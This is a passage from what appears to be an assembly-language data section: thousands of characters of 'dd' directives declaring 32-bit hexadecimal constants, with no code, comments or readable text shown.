82065997h, 6859351Fh, 4270425Dh dd 3DC340C4h, 0C6291287h, 98205D58h, 39D448D8h, 6116F3Fh dd 57E1E9D0h, 140E98D1h, 9888724Ch, 4A07AC01h, 44CB0110h dd 0E90802CEh, 0E2D4AF6Eh, 6F4874A7h, 0D2BA37A5h, 3E42D01Dh dd 0F89F0CC4h, 38883258h, 4C5F0C24h, 0D25B65BBh, 8D529CCh dd 764E52D2h, 0BA0BB574h dd 52440E7h, 0AD11168Ch, 53034B48h, 0E98EED5Bh, 562F1C1Fh dd 0AF45E44Bh, 30AA6D17h, 6EE1804Bh, 0B5BB5E00h, 0E9D5D24Bh dd 0E4314A32h, 63651D10h, 0DCC2E0FFh, 0FAA257D1h, 187F2234h dd 98768D24h, 0BBDDF0EDh, 3ED7A7F8h, 500DB61Bh, 0DF3F6E6Ch dd 1FF60007h, 0E9D4A9E3h, 0B9445A27h, 0F254CC30h, 3F80B526h dd 834633BEh, 6A8C1D50h, 2B371C14h, 5C0B5AABh, 4561715Dh dd 883CFB5Ch, 0AE544A55h, 4A921F8Dh, 0D75D6220h, 5A7E13F0h dd 667BDF25h, 93F59534h, 711BF9EAh, 1F08253Fh, 542DE0D8h dd 0F8DDDE5Dh, 5797D301h, 0C3249796h, 146A2F02h, 0B05A4C10h dd 0A82F5532h, 0C384503Bh, 4350606h, 3B0AA6B9h, 4DD48CC1h dd 435F3089h, 44622E80h, 72973D8Bh, 0E9DE27ECh, 5F9707D5h dd 0C2547065h, 73AA09D8h, 2F7B7866h, 0B8C7E448h, 5618408h dd 0AF556851h, 8780F934h, 901A0B18h, 0DD563A0h, 6A18FD29h dd 0F3538878h, 0A25B131Dh, 7CFEED18h, 0DC619C5Bh, 0AC150CF4h dd 313C134Dh, 57032CFFh, 5409537Fh, 5C52A121h, 0D7B4987Dh dd 7F4A8F0Fh, 4ABEA8A4h, 89A7FC68h, 580A4165h, 5156072Eh dd 6DF34753h, 870CE494h, 525A5927h, 3F826966h, 57CE55h dd 4FF1E681h, 86E942B9h, 31F1D2B7h, 1A7B7853h, 9CBA74C9h dd 8BBBC8D6h, 463524F4h, 702D0D81h, 0E1400A9Eh, 0A1216C28h dd 0EE55E6DCh, 0B30DD1BBh, 193B8851h, 815B003Dh, 9F4F07EDh dd 8E0F6005h, 4EFCE3B2h, 458C3FC4h, 0F3E43E50h, 171163E7h dd 0BF11479Fh, 0B27456EBh, 14DD978Eh, 308A262Eh, 3C4DA670h dd 0E45F4A7Bh, 1DC47CC0h, 0F905EAC1h, 0A515B4D9h, 949D7BF1h dd 0F7C25BE9h, 0D3929B67h, 11FA2053h, 150EA715h, 0DF9CB858h dd 8394B750h, 0C54F59E9h, 1D1000B6h, 68AD0E70h, 5C603235h dd 2DE65506h, 3C7A054Ah, 8DB03698h, 8176CD00h, 0FD2E94C2h dd 96E9183Eh, 6ECF7F9Bh, 94AD2FE1h, 463CE985h, 0AE02B2CCh dd 9CF9CE8Ah, 5C746069h, 0C024AB49h, 4EE22DC9h, 8496E86Dh dd 0B3000E75h, 38C380B9h, 0C2BE06CEh, 422857F3h, 6D727759h dd 0D1BC6A24h, 0B16802BFh, 5573953Fh, 0B9002496h, 6FAA4F8Dh dd 0F3E9CF31h, 9EDEBBA5h, 812D3Ch, 0D0F758EBh, 9EC9040h dd 356E453Bh, 0F1C11980h, 0F095035Ah, 0ED505080h, 0EC5B4B77h dd 0A742B112h, 0E17996A4h, 7A52D368h, 58E9EA60h, 0FD79979Dh dd 0A0EF88h, 6B5BEAB9h, 0CE260910h, 60008B59h, 12CD677h dd 8216B7C6h, 0C583FE34h, 0C4518CEEh, 1636DF41h, 100FB94Fh dd 0F55B3C3Dh, 8A817FF7h, 0BC6A5776h, 18F2B7D9h, 0B78CC08h dd 2CA45DAh, 892767D6h, 3F047548h, 85D9B2F9h, 0B1D90964h dd 0BA28D9E4h, 0DD00392h, 48C12A85h, 3F34C3E1h, 3840F445h dd 1E63A50h, 4AA54861h, 0B8765BEh, 0BE9CE29h, 3FB1DD70h dd 0E8E88292h, 0A1C9B84Eh, 0C06854Dh, 4770C20h, 0CD6596BBh dd 6001FE3Bh, 0EF1457Ch, 12BEE530h, 847F4E6Dh, 573F80ACh dd 44F1147h, 11D496BAh, 28AA1CC1h, 442F758Fh, 983C23CBh dd 0A16027Dh, 86C75566h, 0AA99F671h, 126CAC70h, 0F056FE5Dh dd 8A2EB0Ch, 83471C51h, 71AC56FBh, 327EEDE9h, 1D293B31h dd 0DA04423Ch, 0A2EED387h, 25E9A088h, 0FFFA9537h, 256A633Bh dd 0EF37507Dh, 0F2AAD06Bh, 0C82646F9h, 6208D313h, 64CA8832h dd 0F54BAB27h, 31AB4E90h, 0B5CA3DC0h, 0EC62A476h, 3E5E03E2h dd 0D2F77E24h, 9E345802h, 7709E3C9h, 4D961EA1h, 58C2E0C4h dd 1EA8312h, 11D1F08h, 6F4ABD55h, 0E50E70BFh, 0BEE44798h dd 0D809ADBAh, 183B35h, 0BB21CC1Dh, 0F1810233h, 7CA93E8Ah dd 9D51342h, 0EF365521h, 0C2B5DEB7h, 97246FE3h, 0C10849C2h dd 74505B7h, 0F3981CBEh, 0A388EFEFh, 629D7C74h, 70F47759h dd 3E3B2581h, 42B52B6h, 0F509115h, 0AEB226ACh, 0FF585B2Ah dd 0B8B35A67h, 0B6AF8591h, 4B449F9h, 71227AF4h, 1388987h dd 9A44F0BFh, 2FEC3143h, 97BEA653h, 9236B243h, 575C6DDh dd 0C34975C6h, 9E9C0132h, 0F22CCB7Fh, 92BD6057h, 0E98FEAA3h dd 0C938442Ah, 0CEEF1365h, 0D4683E03h, 4334E9A0h, 40EF6D79h dd 0C57E8CC2h, 57D646DCh, 0F3F708F8h, 47263AA0h, 0CEA56DDFh dd 26418744h, 0F121580Ch, 7DBA2295h, 58251C7h, 0FE545358h dd 0C3C8BBE2h, 66C55045h, 54970BBEh, 0BE8B4555h, 565C9254h dd 0D626889h, 0BB9D5F7h, 25BB2F5Dh, 5B19F622h, 99EFDD12h dd 0BFE77B1Dh, 2B65B15Bh, 2CEF8A98h, 588F2C8Bh, 60281309h dd 5C04F07Ah, 296E2FADh, 82762DFFh, 0CA20742Eh, 898E7EC0h dd 92DFA131h, 80F05F45h, 0E0095A98h, 0FC212928h, 0AFE99C4Ch dd 8B7D0862h, 5847DFF1h, 3C16D2A6h, 55616289h, 0A65FF6E8h dd 0ED5941D3h, 0F2166FC2h, 0A28645B8h, 0ED0493A6h, 3E965747h dd 7ACE76C0h, 2FE9F2D4h, 1D53EC30h, 1E916D4Fh, 8A75886Fh dd 22FF2B4Ah, 5C414628h, 0DA1EF816h, 0F0F3292Dh, 2CC69FB4h dd 18E97F4Bh, 893EF21Eh, 888055F5h, 5A482D53h, 0E96382B5h dd 3927C0Ah, 492C8604h, 3684D8C9h, 9EEE4E3Fh, 48302708h dd 61458B36h, 0C7800C1Eh, 7472F9B3h, 0DE77293Ch, 0E8C0B55Fh dd 77632ABAh, 53BE0016h, 315B6B41h, 19A5AD6h, 23BDE97Ch dd 4A5DEACAh, 1647ADADh, 0C7EC4469h, 5E9680B5h, 3F98BE5Ah dd 0A0552527h, 0D74A8BDCh, 800F2634h, 85183566h, 342BDA2h dd 2E7DA2F3h, 9FD7D908h, 8AD5F87Fh, 3393D67Bh, 0CD74788Dh dd 402A4EBDh, 2631D61Dh, 0A4020D14h, 0C13FD357h, 1C08C0E0h dd 4D7582DBh, 3956A52Fh, 5E3AE9D0h, 7FEE9D6Ch, 8C0F2944h dd 0EBB5300h, 7F67D04Ah, 1600C5D2h, 54AEE92Bh, 3287D08Ah dd 0A4FF6879h, 0D69711D0h, 6AB38B87h, 31ECCC5Fh, 31850827h dd 4CEB1163h, 0B8287AFCh, 2BCAA268h, 24387B08h, 187C2758h dd 28BB5D92h, 152768A4h, 0C9095112h, 9F793F56h, 9F5C4F24h dd 0E3E2BED4h, 0C4B5765Ah, 0F425F455h, 0A8439662h, 91675754h dd 8212133Fh, 0BEB89284h, 1829CB84h, 2E32E7FAh, 24D01C9h dd 6A69156Fh, 45803C40h, 47651D18h, 0D48B10Eh, 2BE98306h dd 0D4E7EC51h, 7031192Ch, 6698CF01h, 0E33030B2h, 0AB2A4B51h dd 265B9F8Fh, 681C0805h, 77251A71h, 5230C1EEh, 10A6C481h dd 0EC455BA5h, 2F074108h, 0E2223F1h, 4B22CF10h, 894022F8h dd 0D238B7BDh, 5D829D37h, 0D9F5D0C2h, 2975EB48h, 6B8F7579h dd 16E9FD01h, 0B8E96EDAh, 0BD476712h, 70CF2FCBh, 0BBF3BFDCh dd 0BCCA2E8Ah, 5FE8FFA5h, 55866358h, 0B77AC308h, 0CFE4A19h dd 0E90E5DD6h, 19421B17h, 72D43001h, 0FBE81047h, 4505807Eh dd 34DEEA16h, 5D58E08h, 0BF1AF268h, 0EF4B718Fh, 27E97BDCh dd 0FF41666h, 908D562h, 49A96080h, 7D90A061h, 431BFE09h dd 528B005Dh, 4D1737BAh, 3304C39Dh, 0BF2B666Bh, 360C1E12h dd 98080602h, 304A0CD8h, 0B4D2091Fh, 498CB12h, 834FA3A8h dd 38882CE2h, 0D9680176h, 22250876h, 9161BCh, 7C232548h dd 32F670E2h, 1B49CD4Fh, 0F513E285h, 54C037F9h, 48C2685Ah dd 0E0D08F76h, 19A5D10h, 43AB30B8h, 0AF3B293Ch, 0EC2BC82Dh dd 5F29CBA9h, 0E03AB6C2h, 7B471911h, 6A68B1C1h, 0C8604E35h dd 0F49807Fh, 33728D1Ah, 8EF1D77Eh, 1455997h, 1ACB5E53h dd 0BAF7B665h, 0D262D48Dh, 4B2FDCD0h, 4BF33DA9h, 405F253Fh dd 67C809A0h, 0D3F4A059h, 0CD0C019Bh, 22E5B2E9h, 656EC558h dd 8A47F870h, 231DFE5Eh dd 29F099CBh, 410BF573h, 172F6D5Dh, 34999357h, 4CD4D0ACh dd 7897BD6Dh, 5AAA00C8h, 0CB29778Ah, 0A70BBE56h, 7C1F5734h dd 0F375058Ch, 0ED43AA15h, 567AA28h, 7E18930Ch, 8B38237h dd 416D02F7h, 932F0C7h, 5D4E3EFAh, 0F72A82D5h, 5F48D5D9h dd 562FD58Bh, 89277CE8h, 0CE05EF3h, 0B300310Ch, 0C2354053h dd 0B7194164h, 381AC8Ah, 5AB94950h, 9BE9E70Bh, 24D059B4h dd 0F975173Ch, 5E40848Ch, 426BBE03h, 6F60789Bh, 0DF6CCE6Ch dd 60216B74h, 0EB405D04h, 206EDE39h, 69D4E909h, 7FAFA8B3h dd 7F78E018h, 684164B4h, 1B9D7C83h, 73E5A56Ah, 8E25DD2Dh dd 0D288FACCh, 0D6E4972Ch, 0ADDF016Eh, 0A53ACDDBh, 0F0F1F593h dd 0C8978287h, 3980CECDh, 0F59F6FCDh, 0CDCDBF20h, 16F7332Fh dd 26852079h, 89A5683Ah, 0F5586D39h, 0F68E1A82h, 0FE0D6469h dd 300947C1h, 480769Bh, 64D4962Eh, 0EAB185B1h, 559B3AF4h dd 0BD2B9D95h, 0D9E9B036h, 0AC3BE156h, 8268B393h, 9F435180h dd 0E100A277h, 151F1E61h, 60A2880Fh, 0AFC11993h, 257CA052h dd 2071822Fh, 6129C960h, 0E94B136Eh, 5F7CB074h, 772F559Fh dd 0C150F269h, 0E222D1BDh, 8ED8E0E9h, 914182B0h, 0FA572860h dd 0B727B295h, 744F0272h, 998B97C8h, 88E70977h, 0C9A10E1Ah dd 9634D268h, 5440261h, 60FB5251h, 0A05678DBh, 7C5B7025h dd 2CEA2DB5h, 4A598006h, 21E2DA4Fh, 20BA8078h, 30DF1316h dd 16100243h, 9809A53Bh, 2077FA27h, 58006BBDh, 7A494C2Dh dd 318F0F31h, 0C297642Eh, 0EF7734D2h, 829047E8h, 57D1E2B5h dd 6842C6F1h, 0F3D47D05h, 6B6A7C62h, 5D06F0A8h, 0E5545096h dd 5613A908h, 65F988F9h, 0F3CCC130h, 84D35029h, 88C1EF36h dd 218158F8h, 0AB74C6E3h, 0E8C02A76h, 41ECD04Dh, 2563C531h dd 0A3FD7B7Fh, 3BC330F1h, 2590D336h, 37C673D2h, 0D97C9827h dd 0C9EA427Bh, 46838209h, 69185792h, 47BD7959h, 585E2678h dd 754FABE9h, 0AFE4B2ACh, 0A25B47ADh, 82A61B51h, 0A823BA83h dd 5C87A83Bh, 8EE3D601h, 0FC384F45h, 0FD4A78B8h, 65DCEBE5h dd 184E096Fh, 2809E3D1h, 0C793C07Ch, 0C15E71FCh, 25EAD2B2h dd 0F7D6206Dh, 74FED65Fh, 0D8F4BE3Fh, 74275C6Bh, 6DBBC2A4h dd 0DCB9A599h, 2C7D1857h, 8F13944Bh, 848C8BAAh, 83D5FCE9h dd 7B003E4h, 9709716h, 0C4A1F2EEh, 5646868h, 0B222F99Dh dd 1C41D6AAh, 9103A21h, 0C45F2607h, 9A73C402h, 5E58416Eh dd 5B46F72Fh, 0D5178CB8h, 839EA366h, 535EF1h, 0C25D61F6h dd 2ACF8112h, 7B563105h, 49A8EFE9h, 53A0B800h, 143549F6h dd 6ED86500h, 5C2DD0F7h, 0A9BC0093h, 0FF054048h, 5F60B442h dd 9BBEE052h, 0C72D0B8Ah, 62020106h, 78105F8h, 7CC8E95Fh dd 0A1345A9Fh, 8457FFE4h, 5F515F27h, 7AB1743Eh, 2B63BDC0h dd 18EBF34h, 39132962h, 4CD5F9C0h, 111B409h, 0DD1000CDh dd 1BEDE581h, 115B364Bh, 0F4FEEFB9h, 924DE9BDh, 0DEF61738h dd 477608EAh, 530F7A7h, 7B9733F4h, 1AD3A475h, 516016CFh dd 77821218h, 0F66ED4F6h, 0C5806E9h, 0A8BF698Ah, 0C02B0F27h dd 0CE69EC2Fh, 2858D940h, 0C280DA0Eh, 4BEA66AAh, 662E0906h dd 0DBC0C05Bh, 85A4777Dh, 641F4C0Fh, 35E66401h, 448F08Ah dd 0F6427A2Dh, 0F178D675h, 2DCDBF1Ah, 0A0B25944h, 8422335Ch dd 329A6620h, 90CC3BC3h, 7A7F696Fh, 0B15D0828h, 0BB9E19FAh dd 0C25F7427h, 0D156D953h, 1F56F469h, 0E3163F52h, 4E99F3DFh dd 855E71EAh, 9EC33202h, 9CF4ADD2h, 54B50BCEh, 975043DDh dd 51F16E16h, 72599FF8h, 4D5CE916h, 0B1112994h, 4828C32Ch dd 11F5CC7Ah, 2549F559h, 59BE415Dh, 27AC4F61h, 238909D0h dd 0B6012964h, 0C0C6FE0Eh, 91FC03E6h, 0DE7197B4h, 9257F42h dd 23D34730h, 0A86274BDh, 1D5CF1CEh, 16E86E45h, 6B00BF96h dd 72BE4115h, 50C43168h, 3E5B584Bh, 165076F2h, 0DC07B706h dd 390BFE2Fh, 5B24E54Ch, 8378B152h, 31024AC2h, 96D44C34h dd 16AB5B3Eh, 7574E9A8h, 418F6417h, 0A54552E0h, 0B1F02FD1h dd 84E9CDC2h, 1E0DDB96h, 0A00CD251h, 0F4955D49h, 0AC72F24Eh dd 0C634232Fh, 6FA284A5h, 0EBD85050h, 48970168h, 8263CE67h dd 9891D2DFh, 750D3448h, 93A5BF39h, 1E89E660h, 0CB3AFB36h dd 0F43E6Fh, 5E0858EAh, 3BEB2CD7h, 0A2674F31h, 125F7936h dd 0CFFC3369h, 7AB70896h, 1F25E9A2h, 621D7614h, 8001E45Ch dd 0C1CC58C9h, 0EF1EC6Ah, 59CA285Fh, 7AD7D409h, 185D9526h dd 9E74C03Fh, 982483Ch, 60736CAEh, 34B90D80h, 7B2D4622h dd 0C1C48D1h, 2156EF12h, 929A2370h, 5EEEEBEFh, 0AB26C955h dd 8986CE1Ah, 0D8506FA5h, 8A5E1067h, 312129D0h, 891A1F23h dd 0DDB349E8h, 0B460B05Eh, 95533713h, 93C2F720h, 71C7338h dd 8CF4D0E9h, 2EC9E4BEh, 68125A61h, 0FA4D14FCh, 0B70A29E0h dd 0B2ACA18h, 5061771Dh, 7B6A0E80h, 0BFDDE966h, 75949310h dd 0DA170728h, 59E1B625h, 0B2D4424Ah, 62BFFB48h, 69EF0496h dd 0B220A24Bh, 0D9F282A8h, 99D95DE5h, 8B95B52h, 590EF97Dh dd 0EB42E555h, 44C4AF34h, 0EE802480h, 0F128043Fh, 0BE7C05E9h dd 4A3E5032h, 0C9735F3Eh, 0A91FE60Bh, 1CE5F5FEh, 0D845017h dd 33C52080h, 3C703E13h, 838FEA35h, 6B3B37E3h, 0B88B8E4Dh dd 0CCAA1319h, 0B7122D45h, 0B1ABEDF6h, 34B7005Dh, 0D6B5F952h dd 38D5096Bh, 0EB3FFCh, 7B0B2B1Ch, 9FBB9878h, 43587099h dd 8B161951h, 0B808D989h, 13FF2C50h, 0B868EF7Dh, 68530B5Ah dd 1C662A98h, 320F6603h, 406ABB65h, 7F55CC0Bh, 0AA485A59h dd 2508BB10h, 25A5D15Ah, 535038FCh, 2C6D7DBBh, 10394073h dd 0A8B114E6h, 82EA20ABh, 0D2EAD792h, 0DE582472h, 5A954FEh dd 0B635CA00h, 58C60997h, 46F60481h, 0BF447C49h, 0AAC77C4h dd 0E129E85Ah, 0C1015730h, 0B29541E6h, 2E44652Ch, 0E3E165BDh dd 0A3B004C9h, 45242588h, 8A6105FEh, 94440F1h, 8B1831B8h dd 0D4783F48h, 0EE885580h, 68EC0CB5h, 0BD1F7AEBh, 1D64F19Dh dd 704AA413h, 0C0821E9Ch, 28EFB176h, 9FBD3299h, 79B87D7Ch dd 0BD48FB95h, 0C9EF0B92h, 0EDA82FEAh, 0B0ADFAA4h, 0EC9113D6h dd 0E9F004E6h, 24FA4CC4h, 4C8DAB80h, 543B0541h, 8A0130D4h dd 0A840809h, 0A88D413h, 808146CCh, 6607C380h, 7CB5585Ah dd 0AAE46507h, 47F41153h, 7B901740h, 3E5213h, 7A1F2889h dd 2A25E933h, 0DE32F732h, 0B676D840h, 56E000BCh, 2825E0BEh dd 418905E2h, 0ABCD4178h, 0ED810043h, 4A1802A9h, 9560E975h dd 6D05F690h, 8430C012h, 0C10B80FFh, 0F65E0ACAh, 517867F8h dd 313C08E9h, 0F938AB5Eh, 0BA520450h, 0C26C091Dh, 0C9686958h dd 8F130F42h, 28EEA8D8h, 0E5409328h, 82BBFBDh, 5DF2A3D7h dd 8C688958h, 424E63Bh, 3F6F0241h, 0D33EACF8h, 68C0EE4Ch dd 47A21E9Dh, 664A3A90h, 4A7C0328h, 0E24D5058h, 101D611Ah dd 59D1D675h, 0A866FE52h, 1663B900h, 0E1C12220h, 0F490603h dd 242D608Eh, 0E78C0EC2h, 0E1090B39h, 5694B370h, 52B4D572h dd 63F35F50h, 24D3A40h, 0CDD42D95h, 3B76FC22h, 990DD072h dd 88E9C127h, 42316F4Bh, 0C514209Ch, 0AD9BAE8Eh, 3885D31h dd 0B25B0330h, 0CC6FC85h, 5EADF521h, 20A2659Fh, 1B4BEB2h dd 4484202Dh, 74B07ECFh, 0A61A5AB6h, 185D1268h, 0B7D64CE9h dd 49834CDDh, 97C44BEBh, 58608AAFh, 0DF9510B3h, 1C2D4548h dd 56920BD9h, 0FA96F2FCh dd 0A958DACBh, 0EA4E2838h, 4BB0F52Ch, 5FBBB272h, 5605EFE9h dd 8752A00Dh, 7E7F106Bh, 70F2D0Fh, 0C14AAA0Bh, 3A5508C2h dd 0FE008B38h, 0E96C0EFCh, 82AC0C51h, 0C29FBEF2h, 616DD711h dd 0CC4F2990h, 45BDB2D5h, 0A3680BBEh, 883798FFh, 674E4DEh dd 0FCE90187h, 0F10733D1h, 5F6F0FFBh, 5397D7B4h, 50F1DB54h dd 5192B96Fh, 5E52CFFh, 17F625D7h, 2EC69D01h, 1EA4508Fh dd 0A98B5A08h, 0C69F73FCh, 1AFC3C47h, 19E807B4h, 6E6C00Bh dd 5C045E8Bh, 0E99CE06Eh, 675E5D2Fh, 0F3163F4Fh, 0C4CCA883h dd 0BF0067B5h, 1AEC7EA0h, 0A10B687Ah, 54582B7Fh, 90DFEB95h dd 0B2C9E973h, 807F9D9Eh, 0E78514AAh, 6022B83Fh, 5AD17171h dd 475CC2Ch, 5D1CBCE9h, 0D3311DF6h, 354FDDD2h, 0D07B280h dd 0EA6359CAh, 68063724h, 5DC2E712h, 70178206h, 5428B1E9h dd 5D406397h, 68E18D04h, 0F7AD76BDh, 4BD0FCA5h, 0BE963CEEh dd 0DFF32C5Bh, 0D567A504h, 6AE1FF69h, 0A145344h, 0BA2F6069h dd 584D6018h, 63205F79h, 0B7317A9Fh, 388EAB41h, 572D69h dd 6729BC44h, 0B858BD23h, 0B7320782h, 3889360h, 7D5259B6h dd 0A074CE74h, 0D067C9BCh, 0E21CAF92h, 62F2C28Fh, 9457D788h dd 54609DE0h, 86828021h, 2F0B1F66h, 0CDC933B5h, 33A6CF81h dd 0D25A5926h, 4A242716h, 5FF0A0AFh, 7314DC97h, 0E957BD06h dd 3D387FF5h, 0B51CB353h, 0B4F625E4h, 68BA3517h, 9948E98Eh dd 54F280C2h, 3E2DD67Eh, 259BD089h, 10B1EF88h, 50CF6228h dd 71BD6A32h, 53A38229h, 0BBB247EDh, 0DA434D8Eh, 2F0116E9h dd 765EEF81h, 0A57B22F2h, 5D080203h, 0D28EFC5Fh, 41C91680h dd 3500060Dh, 6E812701h, 9D44FBE9h, 3AF0F5B9h, 6A4E39EBh dd 0D653E427h, 0A9EA8441h, 0C9FEF012h, 6A02AE9h, 0E6E3B5D1h dd 1302063Eh, 734B0B36h, 6F4C7F63h, 52273A80h, 74883494h dd 2782419h, 59158BCh, 0A10B1AE8h, 1BC5AA9Dh, 26E63F34h dd 0D8A30993h, 0BB5F98FFh, 22250C52h, 0F6A5144h, 77EFD5C9h dd 0B2032C42h, 6EA8A5C7h, 2427E93Dh, 2FAEF391h, 0B5651D4h dd 0D6315F5Ch, 0E2E055EAh, 0CC4AC8E9h, 67B159B8h, 23FD04A9h dd 0EC881E84h, 0A852DED8h, 0CEF60BD7h, 0EE29240Dh, 827F27C6h dd 5D895D80h, 0F781D8D1h, 3EBBE9D2h, 1392E148h, 0EB31B005h dd 0A080250h, 0B22241E9h, 0BE5693BDh, 5B63DD88h, 0FFD49466h dd 1FDA6F81h, 192DF13Dh, 67BA09EBh, 0D2D2EB2Fh, 0F120C02h dd 3DC64C32h, 8718D064h, 1FE453A0h, 4918562Eh, 9A2121AEh dd 704B58C3h, 0D25A62D4h, 0E4929EA6h, 4E4A63C0h, 1293A9A2h dd 0E01189F1h, 0DFCFF2ABh, 9D92FCEBh, 7BACE6BEh, 58BDAD4Fh dd 13F8C11Ch, 4FF0A8F1h, 3ED8CF17h, 59C82521h, 0B404420Bh dd 9D61FE3Fh, 973A0DD3h, 0AE77276h, 1AD220FDh, 505EE115h dd 722FC05Ah, 0F70064Bh, 0F1678485h, 437CDC97h, 165F60DEh dd 8F684904h, 50D71E88h, 3491877h, 684A9E99h, 21126660h dd 23A26F95h, 0D9B4B685h, 2C05E5B7h, 3DB35A73h, 0DC0811D2h dd 0A0BBA02h, 5C5D7A86h, 4FCA00FCh, 0D17B6D1Eh, 70EA2BF3h dd 0A6ABC28Eh, 7FA03125h, 0D2DDEDA9h, 33A29D50h, 97AB3170h dd 142D2C70h, 0FC4B1996h, 0FF284D35h, 74D20F10h, 0DA7E8B2Fh dd 1BE60108h, 0E9039739h, 578D57E0h, 5844B97Ch, 1935809Dh dd 1810C15h, 5A10D1E3h, 3548E92Ah, 1EF97B79h, 266857A0h dd 0F4E177Bh, 22339CB8h, 0E2E9530Fh, 1A307A07h, 7A6D52h dd 566CBB1Eh, 0A5E9106Ah, 0F2257C63h, 1C31EF5Eh, 9DF42EEBh dd 962BBE38h, 93C7EFC7h, 0F52B54C2h, 28B4CE64h, 4A27CC89h dd 2E255D4Ah, 1672E377h, 0CDF42516h, 4906F0D9h, 0F14A88C0h dd 66B341B1h, 0F3B1300Dh, 0AAB95105h, 0EA01A60Eh, 0E07F79E1h dd 0FB7FB02Eh, 20FC0F13h, 9875CB02h, 0F45BC0AEh, 0D7D9A955h dd 4F71CB3Fh, 0B72904A4h, 5A66017Eh, 0C86C5AD4h, 3C4B873Ch dd 92A971EAh, 0FDF24825h, 2CBA7E4Ah, 61B3EE03h, 1B5B5288h dd 1527CA68h, 5A96E0CAh, 74C24C31h, 80121620h, 0DE8C1ECh dd 0F2C85B70h, 7D8DC4A2h, 1701C346h, 0BB01A4B0h, 68720D7Ah dd 556C2B3Eh, 0B6B126C2h, 6549A860h, 697771B7h, 7D6B7F56h dd 0AF8BFB24h, 0F2BFE612h, 8A19D6E6h, 0E3DB5D86h, 0F1930394h dd 731126A7h, 423382D9h, 0A290C172h, 0A98399E0h, 0A36E15C7h dd 7CA85B07h, 4A56AAA5h, 7999606h, 1B009D9Fh, 0CD38CABAh dd 0A0050401h, 2D545B15h, 5EB549DCh, 98A103h, 8CA1E907h dd 2F22E697h, 4AF9086Fh, 262C6885h, 0BA3D9CAAh, 8D8C3C5Ah dd 0EA781727h, 0BDA01050h, 4D0AC3C0h, 0CC115EFh, 729D746Ah dd 2688C610h, 54E47897h, 9559FA80h, 2F1820F5h, 0ED5CFD7Ah dd 247E6DE4h, 276312Bh, 129A3D7Ch, 3E1D4075h, 5F427D93h dd 7845A6F9h, 81707D49h, 3E3A0B60h, 7006E42Eh, 0E94A7A0Bh dd 2CA2DFF9h, 0D6572C4Dh, 195F520Ch, 9835719Ch, 8D20F0C1h dd 2F6D4187h, 2F2DDA20h, 64447E2Ah, 0BB882D8Ch, 0E8F765C1h dd 56E8E5AFh, 12D7F398h, 0BAA4ECFCh, 50B6CAC4h, 31F51269h dd 0A23E5438h, 87A222h, 2F6D685Ch, 0C562D4BEh, 45BB00BFh dd 3238C430h, 0FBE0D04Bh, 23D5C903h, 7B5BD929h, 48C10506h dd 710EEE66h, 6CD04B89h, 52558436h, 5794DAC1h, 0BBA39CCh dd 30E0254Ch, 8B3FE4DCh, 0FF5E5A56h, 85BE763h, 0F28B86B8h dd 0CD68D0Ah, 980C7EC2h, 881366FEh, 0A3AED589h, 0BD0B93F5h dd 5F5E91Eh, 0EAFC132Bh, 0C9A5C061h, 0EEB15E03h, 0A1680062h dd 6C1CB160h, 68185069h, 9663332Dh, 835C4A0h, 21CB1F30h dd 0AC84C765h, 7568846Eh, 8B3AE641h, 5A48555h, 0E200F5FDh dd 639A6F85h, 0C8B0D2F7h, 51D16815h, 3CE90921h, 503D766Fh dd 689D6CFCh, 7A015A4Ch, 0C57D4FCFh, 0E4DDEE0Eh, 3334A2DDh dd 111650B6h, 5CCAE205h, 48106C7Bh, 0D1FF9622h, 0EF137DB8h dd 0E59056E4h, 2E976A22h, 9BE5A0Dh, 0EB7C1A65h, 7F52B870h dd 65509A4Fh, 0EB050D4Eh, 0A62D3740h, 4C3BB35Bh, 7405029h dd 95F159E9h, 101B2D07h, 0F829E30Fh, 0E907059Dh, 4E924BBEh dd 0ABC0C78h, 82BBE52Dh, 0E95CDA8Ah, 0DAE6AC89h, 0CC36A120h dd 0F5C339E6h, 95272213h, 97CDE304h, 8F7CF012h, 80B72A5Eh dd 7C094D7Bh, 139FE35Eh, 933108D8h, 0EC7FC788h, 0FCC7A7B7h dd 0E958E6E0h, 0D0CF5F91h, 87A3529h, 74686D0Ch, 5A8E6726h dd 9C71D1EEh, 7F5936D7h, 0D240DC2Ah, 807EB204h, 81AE64F2h dd 6B66B96Dh, 670391C8h, 0D1C2E725h, 206E9C21h, 57015040h dd 870F41A0h, 0E7A74A3Bh, 0E9C5A1DFh, 3B813DF8h, 117B0AE6h dd 84A02F42h, 92299F7Eh, 0D52A0A50h, 0E912731Ch, 0F9CC35A3h dd 2D2412Fh, 0C77138E0h, 79B2E10Ch, 87E009C7h, 0AF8BBAFDh dd 0DB2D1873h, 0E02209DBh, 6B3099FFh, 0E43F7775h, 64406D30h dd 5B88EAB0h, 1C7588C5h, 0B62DF280h, 0FD06288h, 0BDC0A50Eh dd 0EC8603B2h, 2B2F2106h, 5096FF6Dh, 0EBBDBBFCh, 0A4594F2Fh dd 9970CDBh, 0BE1ED564h, 494E3D4h, 6EEB136Ah, 0CCA1F182h dd 0A34E24D3h, 1458BF49h, 9C4D6A05h, 0F78B8075h, 785A035Dh dd 33891E4h, 317B2522h, 0A44F5FFDh, 0E9B402BEh, 0A2F14B3Fh dd 10967FADh, 6CAA5B4Bh, 89EEE954h, 0BA6648C6h, 0D5F4CEACh dd 29205AEFh, 0BBCBE9C5h, 41B28BBAh, 0BE2CD43Fh, 0A6B89156h dd 0B350904Ah, 0F9E5D351h, 0C9372BCFh, 6E80C304h, 9DD328F2h dd 408D9F69h, 193689Dh dd 0E98454BBh, 0C0004818h, 0C38004EBh, 0AE37ECCh, 58D8E0BEh dd 9810CF5Bh, 0B4497561h, 0FD680206h, 0FF2C280Ah, 0BA025C16h dd 44E82016h, 6AEC7531h, 5A65A180h, 97ECF7Dh, 2DB87AEBh dd 0FFCAA93Eh, 0E6839A93h, 43012F70h, 0D5448A51h, 0F1948394h dd 0BF12DA9h, 17F32B42h, 0F1E360Eh, 0F70D0152h, 6C0C9C3Dh dd 7308045Dh, 20C1FC46h, 243B80FEh, 0D10D5032h, 59747C2Fh dd 5F182268h, 4A685691h, 2F87F1F8h, 343F12DEh, 0D218CACAh dd 6BD79616h, 0D91FFF60h, 0DCADF73Ah, 0D769E459h, 384440D1h dd 5379B3BBh, 0A1552865h, 1A82D75Eh, 0EAC27FABh, 211ECC57h dd 0F82623Eh, 497DBD88h, 1C6450Ah, 0E1D6F75Eh, 42D5285Ch dd 6BE9C27Bh, 48C17A46h, 8003F405h, 57328D1Fh, 7B5854FAh dd 0C8045D9Fh, 0A7BBACB5h, 0F6680FC9h, 28E4FE62h, 132C40F3h dd 0E2975970h, 151961A7h, 